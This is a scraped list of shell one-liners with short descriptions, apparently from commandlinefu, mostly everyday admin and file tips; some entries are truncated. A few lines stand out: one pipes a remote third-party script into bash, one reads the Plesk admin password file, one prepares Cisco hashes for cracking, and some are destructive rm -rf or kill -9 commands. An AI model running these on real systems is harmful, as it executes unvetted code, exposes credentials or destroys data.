>> find . -iname "*wav" > step1 ; sed -e 's/\(^.*\)wav/\"\1wav\" \"\1mp3\"/' step1 > step2 ; sed -e 's/^/lame /' step2 > step3 ; chmod +x step3 ; ./step3
* Current sub-folders sizes
>> du -sh *
* Make a DVD ISO Image from a VIDEO_TS folder on MacOSX
>> hdiutil makehybrid -udf -udf-volume-name DVD_NAME -o MY_DVD.iso /path/
* Summarize size of all files of given type in all subdirectories
>> SUM=0; for FILESIZE in `find /tmp -type f -iname \*pdf -exec du -b {}
* Open a file at the specified line
>> emacs +400 code.py
* Alias to edit and source your .bashrc file
>> alias vb='vim ~/.bashrc; source ~/.bashrc'
* Check the last 15 package operations (on yum systems)
>> tail -n 15 /var/log/yum.log | tac
* PlayTweets from the command line
>> vlc $(curl -s http://twitter.com/statuses/user_timeline/18855500.rss|grep play|sed -ne '/<title>/s/^.*\(http.*\)<\/title/\1/gp'|awk '{print $1}')
* Remount root in read-write mode.
>> sudo mount -o remount,rw /
* search the pattern from bzip2'ed file
>> bzgrep -i "pattern" pattern.bz2
* exclude file(s) from rsync
>> rsync -vazuK --exclude "*.mp3" --exclude "*.svn*" * user@host:/path
* CSV list of infected URLS detected by ClamAV
>> grep "FOUND" /var/log/squidclamav.log | awk '{print $5"-"$2"-"$3","$4","$11}' | sed -e 's/\,http.*url=/\,/g' | sed -e 's/&/\,/g' | sed -e 's/source=//g' |sed -e 's/user=//g' | sed -e 's/virus=//g' | sed -e 's/stream\:+//g' | sed -e 's/\+FOUND//g'
* Parse tektronic csv files
>> awk 'BEGIN {FS=","} {loc = $4, val=$5; getline < "f0001ch1.csv"; print loc,val,$5}' f0001ch2.csv > data
* find distro name / release version
>> $ cat /etc/*-release
* search installed files of package, that doesn't remember his name
>> rpm -qa | grep PACKAGENAME | xargs rpm -q --filesbypkg
* Allows incoming traffic from specific IP address to port 80
>> sudo ufw allow proto tcp from 1.2.3.4 to any port 80
* Send current job to the background
>> ^Z then bg
* Add all not commited files to svn
>> svn st | grep ^? | xargs svn add 2> /dev/null
* Grep the process excluding the grep itself.
>> ps -ef | grep [t]clsh
* this toggles mute on the Master channel of an alsa soundcard
>> on="off"; off="on"; now=$(amixer get Master | tr -d '[]' | grep "Playback.*%" |head -n1 |awk '{print $7}'); amixer sset Master ${!now}
* make a zip file containing all files with the openmeta tag "data"
>> mdfind "tag:data" > /tmp/data.txt ; zip -r9@ ~/Desktop/data.zip < /tmp/data.txt
* catch all the txt files into a start_dir tree and copy them into
>> find start_dir -name *.txt | xargs -J % cp % end_dir/
* opening your helper script without knowing the path (zsh)
>> less =rcsyslog
* Easily move around many directories
>> a() { alias $1=cd\ $PWD; }
* moreplayingaround
>> curl -s -u username:passwd http://twitter.com/statuses/friends_timeline.rss|grep title|sed -ne 's/<\/*title>//gp' |festival --tts
* grep or
>> egrep 'string1|string2' file
* Remove all directories less than 1 MB in size in or below current
>> find . -type d -execdir du -sh '{}' ';' | grep -E "[0-9]+K" | sed 's/^[0-9\.]\+K[\t ]\+//' | tr "\n" "\0" | xargs -0 rm -rf
* pushd rotates the stack so that the second directory comes at the
>> pushd +2; pushd -2
* List encoding of ? in all avalible char sets
>> for i in `recode -l | cut -d" " -f 1`; do echo $i": ?" | recode utf-8..$i -s -p >> temp; done; vim temp
* A simple X11 tea timer
>> $(STEEP=300; sleep $STEEP; xmessage "Your tea is done") &
* send files via ssh-xfer
>> cat somefilehere.txt | ssh-xfer nametocallfile.txt -
* Remove blank lines from a file
>> grep -v "^$" file
* Runs a command without hangups.
>> nohup <command> &
* Add new file under svn version control.
>> svn st | grep ^\? | awk '{print $2}' | xargs svn add
* Show some details of recent Leopard Time Machine activity - shell:
>> syslog -F '$Time $Message' -k Sender /System/Library/CoreServices/backupd -k Time ge -72h | tail -n 30
* Update obsolete CVS Root files
>> find cvsdir -name Root -exec sed -i 's/oldserver/newserver/' {} \;
* ps grep with header
>> psg () { ps auxwww | egrep "$1|PID" | grep -v grep }
* Simple calculator
>> while true; do read i; echo $[$i]; done
* Print total size of specified files and subdirectories
>> du -sk * | awk '{print $1} END {print "[+z1<y]sy\nlyx\np"}' | dc
* List all files fred* unless in a junk directory
>> ls **/fred*~*junk*/*
* psg (ps grep) function if you don't have pgrep or don't know how
>> psg() { if [ -z "$2" ]; then psargs="aux"; greparg="$1"; else psargs="$1"; greparg="$2"; fi; ps $psargs | grep -i "$(echo $greparg | sed -e 's/^\(.\)/[\1]/')\|^$(ps $psargs | head -1)" ; }
* Play a random .avi file from a media tree
>> unset files i; set -f; O=$IFS; while IFS= read -r -d $'\0' files[i++]; do :; done < <(find . -name '*.avi' -print0) && IFS=$O; set +f && echo "Running: mplayer \"${files[ $(( $RANDOM % ${#files[@]} )) ]}\""
* Paged, colored svn diff
>> svn diff $* | colordiff | less -r
* set open firmware password command mode
>> /usr/local/bin/OFPW -mode 1
* what the free memory grow or shink
>> watch -d "free -mt"
* View video cam from remote machine during ssh session
>> xawtv -remote -bpp 16 -noxv-video -geometry 160x120 -device /dev/video0
* Disable Mac OS X Dashboard
>> defaults write com.apple.dashboard mcx-disabled -boolean YES; killall
* Delete all ".svn" directories from current path (recursive)
>> find . -name ".svn" -exec rm -rf {} \;
* Sort files by date
>> ls -lrt
* Exit shell faster
>> ^D
* Backup your precious Tomato Router Stats
>> curl http://root:PASSWORD@ROUTER_DYN_DNS/bwm/tomato_rstatsa001839ceb1d4.gz?_ http_id=HTTPID > $HOME/Dropbox/Backups/tomato_stats.gz
* recursively change file name extensions
>> find . -type f -name \*.c | while read f; do mv $f "`basename $f .c`".C; done
* Generate a random number in a range
>> START=20; END=50 echo $(($START+(`od -An -N2 -i /dev/random`)%($END-$START+1)))
* Recall last argument of previous command
>> cd !$
* See which files differ in a diff
>> diff dir1 dir2 | diffstat
* Stripping ^M at end of each line for files
>> perl -pi -e 's:^V^M::g' <filenames>
* Clean all .pyc files from current project. It cleans all the files
>> find . -name "*.pyc" -exec rm {} \;
* Locate Hacked Files and Dump.
>> find . -type f -name '*.html' -exec grep -H HACKED {} \; > hacklog.txt
* search into contents of python module
>> srchpymod() { python -c "import $1; print filter(lambda x: x.find('$2') >= 0, dir($1))"; };
* Make a pipe organ sound using XMMS and Python
>> xmms `python -c "print \"tone://\" + \";\".join([str(22*(2**x)) for x in range(9)])"`
* exim statistics about mails from queue
>> exim -bp | exiqsumm -c
* Command line invocation of ImageMagick to resize a file
>> convert panorama_rainbow_2005.jpg -resize 40% panorama_rainbow_compress.jpg
* removing those pesky malformed lines at the end of a text file..
>> cat -n $file | tail -n 100 && head -n number-of-lines-you-want-to-keep > newfile
* git log1 alias
>> git config --global alias.log1 "log --pretty=oneline --abbrev-commit"
* Activate the mandatory proxy under ubuntu
>> gconftool-2 --set "/system/http_proxy/use_http_proxy" --type boolean true
* hours before the time()==1234567890
>> echo $(( (1234567890 - `date -u +\%s`) / 60 / 60 ))
* Set your computer's clock, using HTTP and HTP (HTTP Time
>> htpdate -P proxy www.google.com www.yahoo.com www.commandlinefu.com
* List all Windows services on the command line
>> sc queryex type= service state= all | find "_NAME"
* teatimer
>> sleep 3m; play bigben.wav
* bash chop
>> alias chop="tr -d '\r\n'"
* Enable Basic Security Mode (BSM) Auditing --Solaris
>> /etc/security/bsmconv
* Copy the full path of a file to the clipboard (requires xclip or
>> >realpath ./somefile.c | xclip -selection c
* alias dir to ls -al
>> alias dir="ls -al"
* @mail.com by adding the line in list.txt
>> while read line; do echo -e "$line@mail.com"; done < list.txt
* Resize all JPEGs in a directory
>> mogrify -resize 1024 *.jpg
* svn diff ignore whitespace
>> svn diff --diff-cmd diff -x -uw /path/to/file
* Remove CVS root files under current directory
>> find . -name Root -print | xargs rm -f
* Strip out Hungarian notation from a PHP file
>> cat file.php | perl -p -e 's/(\$|->)(str|arr|obj|int|flt|boo|bool|mix|res)([A-Z])/$1\L$3/g'
* Checks the syntax of all PHP files in and below the current
>> find . -name "*.php" -exec php -l {} \; | sed -e "/^No syntax/d"
* Set date and time
>> sudo date -s "26 OCT 2008 19:30:00"
* Erase CD RW
>> wodim -v dev=/dev/dvd -blank=fast
* Convert from a decimal number to a binary number
>> echo 'ibase=10; obase=2; 127' | bc
* git branch point
>> git merge-base branch1 branch2
* git merge --dry-run
>> git merge --no-commit --no-ff
* Format a password file for John the Ripper from Cisco configs
>> sed -n 's/[ :]/_/g; s/^\(.\{1,\}\)_5_\($1$[$./0-9A-Za-z]\{27,31\}\)_*$/\1:\2/p' < cisco-device-config > passwd
* (tcsh alias)Reverse an IPv4 address. It is useful to looking the
>> alias ip4rev "echo \!* | sed 's/^\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\)/\4.\3.\2.\1/'"
* Quick aliases for going up a directory tree
>> alias ::='cd ../../'
* print code 3-up and syntax-highlighted for easy beach-time study
>> enscript -E -B -3 -r -s 0 --borders -fCourier4.8 --mark-wrapped-lines=arrow
* displays comments from random jpeg files.
>> find ~/random_jpegs/folder -name "*.jpg" -exec rdjpgcom {} \;
* Change size of lots of image files. File names are read from a
>> ( while read File; do mogrify -resize 1024 -quality 96 $File; done ) < filelist
* List shared libraries recognized by the system
>> ldconfig -p | grep <somenewlib.so>
* check rpm pkg content w/o installation
>> rpm -qlp <package.rpm>
* Switch on eeepc camera
>> sudo echo 1 > /proc/acpi/asus/camera
* grep selectively
>> find /path -name \*.php -user nobody -exec grep -nH whatever {} \;
* find out about a process
>> cat /proc/<PID>/environ
* copying data with cpio
>> find ./source -depth -print | cpio -cvo> /destination/source_data.cpio; cd /destination; cpio -icvmdI ./source_data.cpio; rm -rf ./source_data.cpio
* move files without actually touching them
>> cd /some/directory \&\& tar cf - | cd /some/directory \&\& tar xvf - */
* Using psnup to get two pages per page
>> psnup -2 file.ps | lpr
* printing with psnup
>> psnup -4 -pa4 -Pa4 file.ps file2.ps
* to get how many users logged in and logged out and how many times
>> last | awk '$1!~/wtmp/{logs[$1]++}END{for (i in logs) print i, logs[i]}'
* To get how many users logged in and logged out and how many times
>> last | awk '{ print $1 }' | sort | uniq -c | grep -v wtmp
* To get the different name field nformation on rpm packages
>> rpm -qa --qf '%{name}'
* To get the latest information on rpm packages
>> rpm -qa --last
* Show all local disk and UFS mounts on Solaris
>> df -kFufs
* View latest apache access log
>> view `ls -1 access_log.* | tail -n 1`
* Serve one or more git repositories
>> git daemon --reuseaddr --verbose --export-all --base-path=/parent/of/bare/git/repos
* change to the selected directory for zsh users
>> alias scd='dirs -v; echo -n "select number: "; read newdir; cd -"$newdir"'
* Perl check if library is installed
>> perl -e "use SOAP::Lite"
* encode HTML entities
>> perl -MHTML::Entities -ne 'print encode_entities($_)' /tmp/subor.txt
* Show all occurences of STRING with filename and line number for
>> find DIR -name "FILE" -exec grep -IHn STRING {} \;
* find and kill a zombie process
>> kill -HUP `ps -A -ostat,ppid,pid,cmd | grep -e '^[Zz]' | awk '{print $2}'`
* make non-printable characters visible
>> cat -A
* quick integer CPU benchmark
>> echo '2^2^20' | time bc > /dev/null
* Get all IPs via ifconfig
>> ifconfig -a | perl -nle'/(\d+\.\d+\.\d+\.\d+)/ && print $1'
* Get all these commands in a text file with description.
>> for x in `jot - 0 2400 25`; do curl "http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/$ x" ; done > commandlinefu.txt
* Get all IPs via ifconfig
>> ifconfig | perl -nle'/dr:(\S+)/ && print $1'
* Show git branches by date - useful for showing active branches
>> for k in `git branch|perl -pe s/^..//`;do echo -e `git show --pretty=format:"%Cgreen%ci %Cblue%cr%Creset" $k|head -n 1`\\t$k;done|sort -r
* Set your profile so that you resume or start a screen session on
>> echo "screen -DR" >> ~/.bash_profile
* Purge configuration files of removed packages on debian based
>> sudo aptitude purge `dpkg --get-selections | grep deinstall | awk '{print $1}'`
* Grep colorized
>> grep -i --color=auto
* Delete the specified line
>> sed -i 8d ~/.ssh/known_hosts
* git remove files which have been deleted
>> git rm $(git ls-files --deleted)
* Pipe STDOUT to vim
>> tail -1000 /some/file | vim -
* Calculates the date 2 weeks ago from Saturday the specified
>> date -d '2 weeks ago Saturday' +%Y-%m-%d
* Add your public SSH key to a server in one command
>> cat .ssh/id_rsa.pub | ssh hostname 'cat >> .ssh/authorized_keys'
* pattern match in awk - no grep
>> awk '/pattern1/ && /pattern2/ && !/pattern3/ {print}'
* Echo the latest commands from commandlinefu on the console
>> wget -O - http://www.commandlinefu.com/commands/browse/rss 2>/dev/null | awk '/\s*<title/ {z=match($0, /CDATA\[([^\]]*)\]/, b);print b[1]} /\s*<description/ {c=match($0, /code>(.*)<\/code>/, d);print d[1]"\n"} '
* scping files with streamlines compression (tar gzip)
>> tar czv file1 file2 folder1 | ssh user@server tar zxv -C /destination
* Optimal way of deleting huge numbers of files
>> find /path/to/dir -type f -print0 | xargs -0 rm
* convert vdi to vmdk (virtualbox hard disk conversion to vmware
>> VBoxManage internalcommands converttoraw winxp.vdi winxp.raw && qemu-img convert -O vmdk winxp.raw winxp.vmdk && rm winxp.raw
* Kill processes that have been running for more than a week
>> find /proc -user myuser -maxdepth 1 -type d -mtime +7 -exec basename {} \; | xargs kill -9
* Change user, assume environment, stay in current dir
>> su -- user
* List Network Tools in Linux
>> apropos network |more
* Search filenames with given pattern; each one is transfered via
>> 'ls -1 *<pattern>* | while read file; do scp $file user@host:/path/; if
* JVM Garbage Collector Stats
>> jstat -gc [jvmpid]
* Convert Windows/DOS Text Files to Unix
>> dos2unix dostxt unixtxt
* Reset the time stamps on a file
>> touch -acm yyyymmddhhMM.ss [file]
* Convert PDFLaTeX PDF to Illustrator-usable EPS
>> gs -dNOCACHE -dNOPAUSE -dBATCH -dSAFER -sDEVICE=epswrite -dEPSCrop -sOutputFile=out.eps in.pdf
* List files in an RPM package
>> rpm --query --filesbypackage [packagename]
* List RPM packages installed in current tree
>> find $PWD -exec rpm --query -f {} \; | sort -u | grep -v "not owned"
* See whether your compiled Apache is prefork or worker MPM
>> /usr/sbin/httpd -l
* Rotate the X screen via xrandr
>> xrandr --output [youroutput] --rotate [right|left|normal] -d [yourdisplay]
* Customizable Search Context
>> echo -n search\>\ ; read SEARCH_STRING && sed -n "/$SEARCH_STRING/{n;p;n;p;n;p;q}" [file-to-search]
* ps with parent/child process tree
>> ps auxf
* Create files of arbitrary size in Windows
>> fsutil file createnew FILENAME filesize(inbytes)
* Convert an ssh2 public key to openssh format
>> ssh-keygen -i -f $sshkeysfile >> authorized_keys
* (Inside of a shell script) Make executable a BeanShell script
>> ///bin/true; exec java bsh.Interpreter "$0" "$@"
* list process ids for given program
>> pidof httpd
* Total procs, avg size (RSS) and Total mem use
>> ps awwwux | grep httpd | grep -v grep | awk '{mem = $6; tot = $6 + tot; total++} END{printf("Total procs: %d\nAvg Size: %d KB\nTotal Mem Used: %f GB\n", total, mem / total, tot / 1024 / 1024)}'
* view all lines without comments.
>> grep -v "^#" file.txt | more
* search for files or directories, then show a sorted list
>> for i in $(locate your_search_phrase); do dirname $i; done | sort | uniq
* List all packages with no dependencies (yum based system)
>> package-cleanup --leaves --all
* Find the process ID of such program:
>> pgrep xterm
* Link all the files in this directory to that directory
>> cd /this/directory; for f in *; do ln -s `pwd`/$f /that/directory; done
* cpuinfo
>> cat /proc/cpuinfo
* look for a header reference in a shared library
>> strings libc-2.2.5.so | grep stat.h
* Shows the largest files in your archives
>> tar -tvjf backup.tar.bz2 | sort -nrk 3 | head
* Start urxvt and do whatever is needed to open the screen session
>> screen -ls | grep main && urxvt -name screen -e screen -x main || urxvt -name screen -e screen -R -S main
* SSH to a machine's internet address if it is not present on your
>> ping localip -c 1 -W 1 &> /dev/null && ssh localip || ssh globalip
* infile search and replace on N files
>> perl -pi -e's/foo/bar/g' file1 file2 fileN
* Retrieve a list of all webpages on a site
>> URL=www.example.com && wget -rq --spider --force-html "http://$URL" && find $URL -type d > url-list.txt && rm -rf $URL
* Find the files that contain a certain term
>> find /path/to/dir -type f -exec grep \-H "search term" {} \;
* Analyse a PHP file for instantations and static calls
>> grep -o "\(new \(\w\+\)\|\w\+::\)" file.php | sed 's/new \|:://' | sort | uniq -c | sort
* Add a line to crontab using sed
>> crontab -l | sed -e '$G;$s-$-'"$CRON_MINS $CRON_HOUR"' * * * /usr/bin/command >/dev/null 2>&1-' | crontab -
* Print a row of 50 hyphens
>> printf "%50s\n"|tr ' ' -
* analyze traffic remotely over ssh w/ wireshark
>> sudo ssh -Y remoteuser@remotehost sudo wireshark
* Get name of first configured interface
>> ifconfig | grep -B 1 "inet addr:" | head -1 | cut -d" " -f1
* Empty a file
>> truncate foobar.txt
* Find all uses of PHP constants in a set of files
>> $class=ExampleClass; $path=src; for constant in `grep ' const ' $class.php | awk '{print $2;}'`; do grep -r "$class::$constant" $path; done
* Copy a file over SSH without SCP
>> uuencode -m <filename> <filename>
* Tar - Compress by excluding folders
>> tar -cvf /path/dir.tar /path/dir* --exclude "/path/dir/name" --exclude "/path/dir/opt"
* Print line numbers
>> sed = <file> | sed 'N;s/\n/\t/'
* prints line numbers
>> sed '/./=' infile | sed '/^/N; s/\n/ /'
* show your locale language keyboard setting
>> locale | grep LANG=
* Format a flooppy with windows compatible disk
>> mformat -f 1440 A:
* mount a msdos formated floppy disk
>> mount -t msdos /dev/fd0 /mnt/floppy
* prints line numbers
>> while read str; do echo "$((++i)) - $str"; done < infile
* prints line numbers
>> cat infile | while read str; do echo "$((++i)) - $str" ; done;
* prints line numbers
>> grep -n . datafile ;
* Show Network IP and Subnet
>> IP=`ifconfig eth0 | grep "inet addr:" | ips |cut -d ":" -f 2 | cut -d " " -f 1`;SUBNET=`ifconfig eth0 | grep "inet addr:" | ips |cut -d ":" -f 3 | cut -d " " -f 1`;RANGE=`ipcalc $IP/$SUBNET | grep "Network:" | cut -d ' ' -f 4`;echo $RANGE
* Match a URL
>> echo "(Something like http://foo.com/blah_blah)" | awk '{for(i=1;i<=NF;i++){if($i~/^(http|ftp):\/\//)print $i}}'
* List files that DO NOT match a pattern
>> printf "%s\n" !(pattern) ## ksh, or bash with shopt -s extglob
* Mount a Windows share on the local network (Ubuntu) with user
>> sudo mount -t cifs -o credentials=/path/to/credenials //hostname/sharename /mount/point
* Simple read and write test with Iozone
>> iozone -s 2g -r 64 -i 0 -i 1 -t 1
* kalarm 1 per minute simplest e-mail beacom for Geovision
>> curl http://www.spam.la/?f=sender | grep secs| awk '{print; exit}' | osd_cat -i 40 -d 30 -l 2
* Show a script or config file without comments
>> sed -e '/^[[:blank:]]*#/d; s/[[:blank:]][[:blank:]]*#.*//' -e '/^$/d' -e '/^\/\/.*/d' -e '/^\/\*/d;/^ \* /d;/^ \*\//d' /a/file/with/comments
* Get your external IP address
>> exec 3<>/dev/tcp/whatismyip.com/80; echo -e "GET /automation/n09230945.asp HTTP/1.0\r\nHost: whatismyip.com\r\n" >&3; a=( $(cat <&3) ); echo ${a[${#a[*]}-1]};
* What is my ip?
>> alias whatismyip="wget -q -O - http://whatismyip.com/automation/n09230945.asp"
* Get a text on a position on the file and store in a variable
>> TIMEUNIT=$(awk '/timescale/{print NR}' a)
* Useful if you need to see compiler errors while edit a code
>> CRTL + L
* get ^DJI
>> getdji (){local url sedcmd;url='http://finance.yahoo.com/q?d=t&s=^DJI';sedcmd='/(DJI:.*)/,/ Day.*/!d;s/^ *//g;';sedcmd="$sedcmd/Change:/s/Down / -/;/Change:/s/Up / +/;";sedcmd="$sedcmd/Open:/s//& /";lynx -dump "$url" | sed "$sedcmd"; }
* What is my ip?
>> w3m http://amit-agarwal.co.in/mystuff/getip_txt.php will return the ip in text format.
* What is my ip?
>> w3m miip.cl | grep ip
* Show current folder permission from /, useful for debugging ssh
>> awk 'BEGIN{dir=DIR?DIR:ENVIRON["PWD"];l=split(dir,parts,"/");last="";for(i= 1;i<l+1;i++){d=last"/"parts[i];gsub("//","/",d);system("ls -ld \""d"\"");last=d}}'
* Email if you disk is over 90%
>> HDD=$(df | awk ' NR>3 (S=$5) (M=$6) { if (S>90) print "Your Systems "M" is """S" Full" } ') ; [[ $HDD ]] && echo "$HDD" | mail -s "Hard-Drives Full" TO@EMAIL.com -- -f FROM@EMAIL.com >/dev/null
* search for a TAB characters in a text file
>> grep $'\t' file.txt
* List only the directories
>> ls -F|grep /
* List open TCP/UDP ports
>> ss -ltu
* shell function to diff two zip files.
>> unzip_diff () { dir1="/tmp/diff/$1"; dir2="/tmp/diff/$2"; mkdir -p $dir1 $dir2; unzip $1 -d $dir1>/dev/null; unzip $2 -d $dir2>/dev/null; diff -q $dir1 $dir2; rm -rf /tmp/diff ; }
* change newlines to spaces (or commas or whatever). Acts as a
>> alias nl2space="perl -ne 'push @F, \$_; END { chomp @F; print join(qq{ }, @F) , qq{\n};}' "
* List dot-files and dirs, but not "." and ".."
>> ls .[!.]*
* List all text files (exclude binary files)
>> find . -type f -exec file {} \; | grep ".*: .* text" | cut -f 1 -d :
* Visualizing system performance data
>> vmstat 2 10 | awk 'NR > 2 {print NR, $13}' | gnuplot -e "set terminal png;set output 'v.png';plot '-' u 1:2 t 'cpu' w linespoints;"
* Show apps that use internet connection at the moment.
>> netstat -lantp | grep -i establ | awk -F/ '{print $2}' | uniq | sort
* regex to match an ip
>> echo 127.0.0.1 | egrep -e '^(([01]?[0-9]{1,2}|2[0-4][0-9]|25[0-4])\.){3}([01]?[0-9]{1,2}|2[0-4][0 -9]|25[0-4])$'
* regex to match an ip
>> perl -wlne 'print $1 if
* List debian package installed by size
>> wajig large
* get users process list
>> ps -u<user>
* Delete all but the latest 5 files
>> ls -t | awk 'NR>5 {system("rm \"" $0 "\"")}'
* Open files of the same name in TextMate
>> mate - `find . -name 'filename'`
* Check variable has been set
>> : ${VAR:?unset variable}
* view file content with echo
>> echo "$(</etc/issue)"
* search for a file in PATH
>> which <filename>
* search for a file in PATH
>> for L in `echo :$PATH | tr : '\n'`; do F=${L:-"."}/fileName; if [ -f ${F} -o -h ${F} ]; then echo ${F}; break; fi; done
* search for a file in PATH
>> function sepath { echo $PATH |tr ":" "\n" |sort -u |while read L ; do cd "$L" 2>/dev/null && find . \( ! -name . -prune \) \( -type f -o -type l \) 2>/dev/null |sed "s@^\./@@" |egrep -i "${*}" |sed "s@^@$L/@" ; done ; }
* Hexadecimal dump of a file, pipe, or anything
>> cat testfile | hexdump -C
* Capitalize the word with dd
>> echo capitalize | { dd bs=1 count=1 conv=ucase 2> /dev/null; cat ;}
* Make a statistic about the lines of code
>> find . -type f -name '*.c' -exec wc -l {} \; | awk '{sum+=$1} END {print sum}'
* show all upd tcp an icmp traffic but ssh
>> tcpdump -n -v tcp or udp or icmp and not port 22
* Edit all files found having a specific string found by grep
>> find . -type f -exec grep -qi 'foo' {} \; -print0 | xargs -0 vim
* Edit all files found having a specific string found by grep
>> find . -exec grep foobar /dev/null {} \; | awk -F: '{print $1}' | xargs vi
* How far is Mac OS X 10.6 from 64-bit?
>> file /System/Library/Extensions/*.kext/Contents/MacOS/* |grep -i x86_64 |nl |tail -1 |cut -f1 -f3 && file /System/Library/Extensions/*.kext/Contents/MacOS/* |grep -v x86_64 |nl |tail -1 |cut -f1 -f3
* Sort a character string
>> echo sortmeplease|sed 's/./&\n/g'|sort|tr -d '\n'
* Sort a character string
>> echo sortmeplease | awk '{l=split($1,a,"");asort(a);while(x<=l){printf "%s",a[x];x++ }print "";}'
* dig this
>> for dnsREC in $(curl -s http://www.iana.org/assignments/dns-parameters |grep -Eo ^[A-Z\.]+\ |sed 's/TYPE//'); do echo -n "$dnsREC " && dig +short $dnsREC IANA.ORG; done
* Print all fields in a file/output from field N to the end of the
>> awk '{print substr($0, index($0,$N))}'
* Install not signed packeges with yum
>> yum --nogpgcheck install "examplePackage"
* Search gpg keys from commandline
>> gpg --search-keys
* Check the backdoors and security.chkrootkit is a tool to locally
>> chkrootkit -x | less
* Quick system hardware overview
>> curl http://flip-edesign.com/scripts/system_info | bash
* To find how Apache has been compiled from commandline
>> httpd2 -V
* Get the information about the Apache loaded modules from command
>> httpd2 -M
* How to check webserver by Nikto
>> nikto.pl -h yourwebserver
* Use dig instead of nslookup
>> dig google.com
* Emulate sleep in DOS/BAT
>> ping -n 1 -w 10000 224.0.0.0
* Restart nautilus
>> nautilus -q
* Day Date Time> Instead of $ or # at the terminal
>> export PS1='\D{%a %D %T}> '
* Remove ^M characters at end of lines in vi
>> :%s/^V^M//g
* Recreate all initrd files
>> for kern in $(grep "initrd " /boot/grub/grub.conf|grep -v ^#|cut -f 2- -d-|sed -e 's/\.img//g'); do mkinitrd -v -f /boot/initrd-$kern.img $kern; done
* Create a multi-part RAR archive
>> rar a -v[SIZE] [archivename] [files]
* omit grep
>> ps aux | grep [c]ommandname
* Generate a Universally Unique Identifier (UUID)
>> uuid
* Find the process you are looking for minus the grepped one
>> ps aux | grep process-name | grep -v "grep"
* Get your external IP address
>> wget http://checkip.dyndns.org && clear && echo && echo My IP && egrep -o '([[:digit:]]{1,3}\.){3}[[:digit:]]{1,3}' index.html && echo && rm index.html
* Get internal and external IP addresses
>> ips(){ for if in ${1:-$(ip link list|grep '^.: '|cut -d\ -f2|cut -d: -f1)};do cur=$(ifconfig $if|grep "inet addr"|sed 's/.*inet addr:\([0-9\.]*\).*/\1/g');printf '%-5s%-15s%-15s\n' $if $cur $(nc -s $cur sine.cluenet.org 128 2>/dev/null||echo $cur);done;}
* Get your external IP address
>> wget -O - http://checkip.dyndns.org|sed 's/[^0-9.]//g'
* Get your external IP address
>> fetch -q -o - http://ipchicken.com | egrep -o '([[:digit:]]{1,3}\.){3}[[:digit:]]{1,3}'
* Get your external IP address
>> html2text http://checkip.dyndns.org | grep -i 'Current IP Address:'|cut
* command to display info about the core specified
>> schedtool 1
* Play music from pure data
>> sudo cat /usr/share/icons/*/*/* > /dev/dsp
* Connect to irssi over ssh
>> rxvt-unicode -g 999x999 -sr -depth 32 -bg rg-ba:0000/0000/0000/dddd +sb -T irssi -n irssi -name irssichat -e ssh server.com -Xt screen -aAdr -RR irssi irssi
* netstat to daemons
>> netstat -tanp | grep -i listen
* save a manpage to plaintext file
>> man -P cat ls > man_ls.txt
* Recursive replace of directory and file names in the current
>> find -name '*oldname*' -print0 | xargs -0 rename 's/oldname/newname/'
* AND search using grep to search for multiple strings.
>> grep "string1.*string2.*string3" text.log
* Open windows executable, file, or folder from cygwin terminal
>> explorer $( cygpath "/path/to/file_or_exe" -w )
* Read just the IP address of a device
>> /sbin/ifconfig | grep inet | cut -f 2 -d ":" | cut -f 1 -d " " |egrep -v "^$"
* Read just the IP address of a device
>> /sbin/ifconfig | grep inet | cut -f 2 -d ":" | cut -f 1 -d " "
* Quick alias for case-insensitive grep
>> alias grip="grep -i"
* View open file descriptors for a process.
>> lsof -p <process_id> | wc -l
* Change password in list of xml files with for and sed
>> for i in *.xml; do sed -i 's/foo/bar/g' "$i"; done
* recursive grep of text files
>> grep -Ir foo *
* Back up a PLESK Installation
>> /opt/psa/bin/pleskbackup server -v --output-file=plesk_server.bak
* Uninstall all MacPorts that are no longer active
>> sudo port installed | grep -v 'active\|The' | xargs sudo port uninstall
* Puts every word from a file into a new line
>> < <infile> tr ' \t' '\n' | tr -s '\n' > <outfile>
* Sort a list of numbers on on line, separated by spaces.
>> echo $numbers | sed "s/\( \|$\)/\n/g" | sort -nu | tr "\n" " " | sed -e "s/^ *//" -e "s/ $//"
* remove unnecessary architecture code from Mac OS X Universal
>> ditto --arch i386 doubleTwist.app doubleTwist_i386.app
* Using gdiff only select lines that are common between two files
>> gdiff --unified=10000 input.file1 inpute.file2 | egrep -v "(^\+[a-z]|^\-[a-z])"| sort > outputfile.sorted
* Show display type
>> ioreg -lw0 | grep IODisplayEDID | sed "/[^<]*</s///" | xxd -p -r |
* display only tcp
>> netstat -4tnape
* Find the full path of an already running process
>> readlink -f /proc/<pid>/cmdline
* create an mp3 with variable bitrate
>> lame -h -V 6 track9.wav track9.mp3
* Alternative way to get the root directory size in megabytes
>> expr $(fdisk -s ` grep ' / ' /etc/mtab |cut -d " " -f1`) / 1024
* List files recursively sorted by modified time
>> find /home/fizz -type f -printf '%TY-%Tm-%Td %TT %p\n' | sort
* Create variables from a list of names
>> VARNAMES='ID FORENAME LASTNAME ADDRESS CITY PHONE MOBILE MAIL' ; cat customer.csv | while read LINE ; do COUNT=1 ; for VAR in $VARNAMES ; do eval "${VAR}=`echo $LINE | /usr/bin/awk {'print $'$COUNT''}`" ; let COUNT=COUNT+1 ; done ; done
* display portion of a file
>> cat -n FILE | grep -C3 "^[[:blank:]]\{1,5\}NUMBER[[:blank:]]"
* quick and easy way of validating a date format of yyyy-mm-dd and
>> echo 2006-10-10 | grep -c '^[0-9][0-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9]$'
* Encrypted Tarballs
>> tar -cf - folder/ | gpg -c > folder.tpg
* Clears Firefox` cache without clicking around
>> rm_cache() { rm -f $HOME/.mozilla/firefox/<profile>/Cache/* }; alias rmcache='rm_cache'
* Generate padded numbers 001 002 ... 100
>> echo 00{1..9} 0{10..99} 100
* Expand shell variables in sed scripts
>> expanded_script=$(eval "echo \"$(cat ${sed_script_file})\"") && sed -e "${expanded_script}" your_input_file
* Cloning hard disks over the network:
>> Boot up destination machine with Knoppix live CD and run nc -l -p 9000 | dd of=/dev/sda Then on the master dd if=/dev/sda | nc <dest-ip> 9000 You can monitor bandwidth usage to see progress: nload eth0 -u M
* Bash Alias That Plays Music from SomaFM
>> alias somafm='read -p "Which station? "; mplayer --reallyquiet -vo none -ao sdl http://somafm.com/startstream=${REPLY}.pls'
* Retrieve Plesk Admin Password
>> cat /etc/psa/.psa.shadow
* Create new repo in Cobbler for CentOS 5.3 updates
